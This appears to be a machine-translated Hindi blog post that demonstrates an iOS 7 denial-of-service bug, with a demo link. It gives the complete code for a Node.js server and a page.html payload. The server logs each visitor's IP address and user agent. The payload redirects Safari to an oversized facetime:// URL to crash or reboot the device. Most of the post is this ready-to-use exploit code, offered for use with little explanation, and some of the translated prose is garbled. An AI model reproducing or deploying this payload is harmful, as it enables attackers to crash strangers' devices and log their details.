🌦️ 👩‍⚖️ 🐫 रिबूट आईओएस। सरल और स्वादिष्ट 🙉 👝 👐🏾

एक अच्छा समय है, महिलाओं और सज्जनों!
दुर्भाग्यवश, यह पोस्ट बहुत ही कम होगी, लेकिन यह उस भेद्यता का प्रदर्शन है जो कई iOS उपकरणों के अधीन है।

7 वीं शाखा के लगभग सभी आईओएस डिवाइस उजागर हैं, और आंशिक रूप से 6 वें। अब और परीक्षण नहीं कर सका। यदि आप अपने डिवाइस के व्यवहार पर टिप्पणियों में अनसब्सक्राइब करते हैं तो मैं बहुत आभारी रहूंगा।

कार्य का प्रदर्शन:

(अफसोस, पहले से ही अनुपस्थित)

r0sheR.js:

console.log(" _____ _ ______ _ "); console.log(" | _ | | | | ___ \\ (_) "); console.log(" _ __| |/' | ___| |__ ___| |_/ / _ ___ "); console.log("| '__| /| |/ __| '_ \\ / _ \\ / | / __|"); console.log("| | \\ |_/ /\\__ \\ | | | __/ |\\ \\ _| \\__ \\"); console.log("|_| \\___/ |___/_| |_|\\___\\_| \\_(_) |___/"); console.log("r0sheR.js is a part of IOS EX kit _/ |"); console.log(" fil9 (2013) fil9bob@gmail.com |__/"); var lport = process.argv[2]; if (!lport) { console.log('Usage: ' + process.argv[0] + ' ' + process.argv[1] + ' [80,8080...]'); process.exit(1) } else { if (lport <= 0 || lport > 65535) { console.log("Invalid port!\n"); process.exit(1) } }; var http = require('http'),fs=require('fs'); http.createServer(function (rq, rs) { rs.writeHead(200, { 'Content-Type': 'text/html' }); console.log('[!] New request from: ' + rq.connection.remoteAddress); console.log('[!] UserAgent: ' + rq.headers['user-agent']); fs.readFile('./page.html', function(err,data){ if (err) throw err; rs.end(data); }); console.log('DOS parcel sent :)') }).listen(lport, '0.0.0.0');

page.html: <- पेलोड अलग से। अभ्यास से पता चला है कि यह अधिक सुविधाजनक है

 <html> <head> <title>IOS 7 CRASH</title> </head> <body> <script> document.location.replace("data:text/html,%3Cscript%3Eif(navigator.userAgent.indexOf('Safari') != -1){var a,b='';for(var i=1;i<=300000;i++) a='A'+a; document.location.replace('facetime://'+a+a+a+a)}%3C/script%3E"); </script> </body> </html>

डेमो: http://sn.im/28gw4wx

बग यह है कि सफारी आपको सीधे फेसटाइम चलाने की अनुमति देता है। एक हमलावर इसका फायदा उठा सकता है और सेवा से वंचित कर सकता है। ~~खैर, और कुछ और।~~

पुनश्च: हाल ही में मुझे पता चला कि iOS 7.0.5 के संस्करण में evasi0n7 द्वारा उपयोग की जाने वाली भेद्यता बंद हो जाएगी।
कौन जानता है, शायद आपको iOS 7.1 के लिए जेबी की उम्मीद करनी चाहिए :)

रिबूट आईओएस। सरल और स्वादिष्ट

More articles: